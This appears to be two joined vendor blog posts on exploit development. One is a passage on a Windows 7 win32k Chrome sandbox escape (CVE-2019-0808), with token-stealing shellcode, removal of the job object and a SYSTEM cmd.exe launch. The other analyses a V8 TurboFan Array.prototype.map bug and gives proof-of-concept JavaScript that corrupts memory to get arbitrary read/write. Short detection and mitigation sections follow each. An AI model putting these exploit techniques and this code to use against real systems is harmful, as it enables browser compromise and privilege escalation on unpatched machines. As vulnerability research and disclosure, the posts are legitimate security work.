mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp [eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + 0xF8], edx // Assign SYSTEM process token.
}
}
The modification takes the EPROCESS structure for Chrome renderer process, and NULLs out its Job pointer. This is done because during experiments it was found that even if the shellcode stole the SYSTEM token, this token would still inherit the job object of the Chrome renderer process, preventing the exploit from being able to spawn any child processes. NULLing out the Job pointer within the Chrome renderer process prior to changing the Chrome renderer process’s token removes the job restrictions from both the Chrome renderer process and any tokens that later get assigned to it, preventing this from happening.
To better understand the importance of NULLing the job object, examine the following dump of the process token for a normal Chrome renderer process. Notice that the Job object field is filled in, so the job object restrictions are currently being applied to the process.
To confirm these restrictions are indeed in place, one can examine the process token for this process in Process Explorer, which confirms that the job contains a number of restrictions, such as prohibiting the spawning of child processes.
If the Job field within this process token is set to NULL, WinDBG’s !process command no longer associates a job with the object.
Examining Process Explorer once again confirms that since the Job field in the Chrome render’s process token has been NULL’d out, there is no longer any job associated with the Chrome renderer process. This can be seen in the following screenshot, which shows that the Job tab is no longer available for the Chrome renderer process since no job is associated with it anymore, which means it can now spawn any child process it wishes.
Spawning the New Process
Once Shellcode() finishes executing, WindowHookProc() will conduct a check to see if the variable success was set to TRUE, indicating that the exploit completed successfully. If it has, then it will print out a success message before returning execution to main().
if (success == TRUE) {
printf("[*] Successfully exploited the program and triggered the shellcode!\r\n");
}
else {
printf("[!] Didn't exploit the program. For some reason our privileges were not appropriate.\r\n");
ExitProcess(-1);
}
main() will exit its window message handling loop since there are no more messages to be processed and will then perform a check to see if success is set to TRUE. If it is, then a call to WinExec() will be performed to execute cmd.exe with SYSTEM privileges using the stolen SYSTEM token.
// Execute command if exploit success.
if (success == TRUE) {
WinExec("cmd.exe", 1);
}
Demo Video
The following video demonstrates how this vulnerability was combined with István Kurucsai’s exploit for CVE-2019-5786 to form the fully working exploit chain described in Google’s blog post. Notice the attacker can spawn arbitrary commands as the SYSTEM user from Chrome despite the limitations of the Chrome sandbox.
Detection of exploitation attempts can be performed by examining user mode applications to see if they make any calls to CreateWindow() or CreateWindowEx() with an lpClassName parameter of “#32768”. Any user mode applications which exhibit this behavior are likely malicious since the class string “#32768” is reserved for system use, and should therefore be subject to further inspection.
Mitigation
Running Windows 8 or higher prevents attackers from being able to exploit this issue since Windows 8 and later prevents applications from mapping the first 64 KB of memory (as mentioned on slide 33 of Matt Miller’s 2012 BlackHat slidedeck), which means that attackers can’t allocate the NULL page or memory near the null page such as 0x30. Additionally upgrading to Windows 8 or higher will also allow Chrome’s sandbox to block all calls to win32k.sys, thereby preventing the attacker from being able to call NtUserMNDragOver() to trigger this vulnerability.
On Windows 7, the only possible mitigation is to apply KB4489878 or KB4489885, which can be downloaded from the links in the CVE-2019-0808 advisory page.
Conclusion
Developing a Chrome sandbox escape requires a number of requirements to be met. However, by combining the right exploit with the limited mitigations of Windows 7, it was possible to make a working sandbox exploit from a bug in win32k.sys to illustrate the 0Day exploit chain originally described in Google’s blog post.
The timely and detailed analysis of vulnerabilities are some of benefits of an Exodus nDay Subscription. This subscription also allows offensive groups to test mitigating controls and detection and response functions within their organisations. Corporate SOC/NOC groups also make use of our nDay Subscription to keep watch on critical assets.
This post explores the possibility of developing a working exploit for a vulnerability already patched in the v8 source tree before the fix makes it into a stable Chrome release.
Chrome Release Schedule
Chrome has a relatively tight release cycle of pushing a new stable version every 6 weeks with stable refreshes in between if warranted by critical issues. As a result of its open-source development model, while security fixes are immediately visible in the source tree, they need time to be tested in the non-stable release channels of Chrome before they can be pushed out via the auto-update mechanism as part of a stable release to most of the user-base.
In effect, there’s a window of opportunity for attackers ranging from a couple days to weeks in which the vulnerability details are practically public yet most of the users are vulnerable and cannot obtain a patch.
Open Source Patch Analysis
Looking through the git log of v8 can be an overwhelming experience. There was a change however that caught my attention immediately. The fix has the following commit message:
[TurboFan] Array.prototype.map wrong ElementsKind for output array.
The associated chromium issue tracker entry is restricted and likely to remain so for months. However, it has all the ingredients that might allow an attacker to produce an exploit quickly, which is the ultimate goal here: TurboFan is the optimizing JIT compiler of v8, which has become a hot target recently. Array vulnerabilities are always promising and this one hints at a type confusion between element kinds, which can be relatively straightforward to exploit. The patch also includes a regression test that effectively triggers the vulnerability, which can also help shorten exploit development time.
The only modified method is JSCallReducer::ReduceArrayMap in src/compiler/js-call-reducer.cc:
+// If the array length >= kMaxFastArrayLength, then CreateArray +// will create a dictionary. We should deopt in this case, and make sure +// not to attempt inlining again. + original_length = effect = graph()->NewNode( + simplified()->CheckBounds(p.feedback()), original_length, + jsgraph()->Constant(JSArray::kMaxFastArrayLength), effect, control); + // Even though {JSCreateArray} is not marked as {kNoThrow}, we can elide the // exceptional projections because it cannot throw with the given parameters.
Node* a = control = effect = graph()->NewNode(
javascript()->CreateArray(1, MaybeHandle()),
array_constructor, array_constructor, original_length, context,
outer_frame_state, effect, control);
JSCallReducer runs during the InliningPhase of TurboFan, its ReduceArrayMap method attempts to replace calls to Array.prototype.map with inlined code. The comments are descriptive, the added lines insert a check to verify that the length of the array is below kMaxFastArrayLength (which is 32 MiB). This length is passed to CreateArray, which returns a new array.
The v8 engine has different optimizations for the storage of arrays that have specific characteristics. For example, PACKED_DOUBLE_ELEMENTS is the elements kind used for arrays that only have double elements and no holes. These are stored as a contiguous array in memory and allow for efficient code generation for operations like map. Confusion between the different element kinds is a common source of security vulnerabilities.
So why is it a problem if the length is above kMaxFastArrayLength? Because CreateArray will return an array with a dictionary element kind for such lengths. Dictionaries are used for large and sparse arrays and are basically hash tables. However, by feeding it the right type feedback, TurboFan will try to generate optimized code for contiguous arrays. This is a common property of many JIT compiler vulnerabilities: the compiler makes an optimization based on type feedback but a corner case allows an attacker to break the assumption during runtime of the generated code.
Since the dictionary and contiguous element kinds have vastly different backing storage mechanisms, this allows for memory corruption. In effect, the output array will be a small (considering its size in memory, not its length property) dictionary that will be accessed by the optimized code as if it was a large (again, considering its size in memory) contiguous region.
Looking at the regression test included in the fix, it feeds the mapping function with feedback for an array with contiguous storage (Lines 6-13), then after it’s been optimized by Turbofan, invokes it with an array that is large enough so that the output of map will end up with dictionary element kind.
// Copyright 2019 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file.
// Set up a fast holey smi array, and generate optimized code.
let a =[1,2,,,,3]; function mapping(a){ return a.map(v => v); }
mapping(a);
mapping(a); %OptimizeFunctionOnNextCall(mapping);
mapping(a);
// Now lengthen the array, but ensure that it points to a non-dictionary // backing store.
a.length=(32*1024*1024)-1;
a.fill(1,0);
a.push(2);
a.length+=500; // Now, the non-inlined array constructor should produce an array with // dictionary elements: causing a crash.
mapping(a);
Exploitation
Since the map operation will write ~32 million elements out-of-bounds to the output array, the regression test essentially triggers a wild memcpy. To make exploitation possible, the loop of map needs to be stopped. This is possible by providing a callback function that raises an exception after the desired number of iterations. Another issue is that it overwrites everything linearly without skips, while ideally we would like to only selectively overwrite a single value at a specific offset, e.g. the length property of an adjacent array. Reading through the documentation of Array.prototype.map, the following can be seen:
map calls a provided callback function once for each element in an array, in order, and constructs a new array from the results. callback is invoked only for indexes of the array which have assigned values, including undefined. It is not called for missing elements of the array (that is, indexes that have never been set, which have been deleted or which have never been assigned a value).
So unset elements (holes) are skipped and map writes nothing to the output array for those indexes. The PoC code below utilizes both of these behaviors to overwrite the length of an array adjacent to the map output array.
// This call ensures that TurboFan won't inline array constructors.
Array(2**30);
// we are aiming for the following object layout // [output of Array.map][packed float array] // First the length of the packed float array is corrupted via the original vulnerability,
// offset of the length field of the float array from the map output const float_array_len_offset =23;
// Set up a fast holey smi array, and generate optimized code.
let a =[1, 2, ,,, 3];
var float_array;
function mapping(a){
function cb(elem, idx){ if(idx ==0){
float_array =[0.1, 0.2]; } if(idx > float_array_len_offset){ // minimize the corruption for stability throw"stop"; } return idx; }
// Now lengthen the array, but ensure that it points to a non-dictionary // backing store.
a.length=(32*1024*1024)-1;
a.fill(1, float_array_len_offset, float_array_len_offset+1);
a.fill(1, float_array_len_offset+2);
a.push(2);
a.length+=500;
// Now, the non-inlined array constructor should produce an array with // dictionary elements: causing a crash.
cnt =1; try{
mapping(a); }catch(e){
console.log(float_array.length);
console.log(float_array[3]); }
At this point, we have a float array that can be used for out-of-bounds reads and writes. The exploit aims for the following object layout on the heap to capitalize on this:
[output of Array.map][packed float array][typed array][obj]
The corrupted float array is used to modify the backing store pointer of the typed array, thus achieving arbitrary read/write. obj at the end is used to leak the address of arbitrary objects by setting them as inline properties on it then reading their address through the float array. From then on, the exploit follows the steps described in my previous post to achieve arbitrary code execution by creating an RWX page via WebAssembly, traversing the JSFunction object hierarchy to find it in memory and place the shellcode there.
The full exploit code which works on the latest stable version (v73.0.3683.86 as of 3rd April 2019) can be found on our github and it can be seen in action below. It’s quite reliable and could also be integrated with a Site-Isolation based brute-forcer, as discussed in our previous blog posts. Note that a sandbox escape would be needed for a complete chain.
Detection
The exploit doesn’t rely on any uncommon features or cause unusual behavior in the renderer process, which makes distinguishing between malicious and benign code difficult without false positive results.
Mitigation
Disabling JavaScript execution via the Settings / Advanced settings / Privacy and security / Content settings menu provides effective mitigation against the vulnerability.
Conclusion
The idea of developing exploits for 1day vulnerabilities before the fix becomes available isn’t new and the issue is definitely not unique to Chrome. Even though exploits developed for such vulnerabilities have a short lifespan, malicious actors may take advantage of them, as they avoid the risk of burning 0days. Keeping up-to-date on patches/updates from a vendor or relying on public advisories isn’t good enough. One needs to dig deep into a patch to know if it applies to an exploitable security vulnerability.
The timely analysis of these 1day vulnerabilities is one of the key differentiators of our Exodus nDay Subscription. It enables our customers to ensure their defensive measures have been implemented properly even in the absence of a proper patch from the vendor. This subscription also allows offensive groups to test mitigating controls and detection and response functions within their organisations. Corporate SOC/NOC groups also make use of our nDay Subscription to keep watch on critical assets.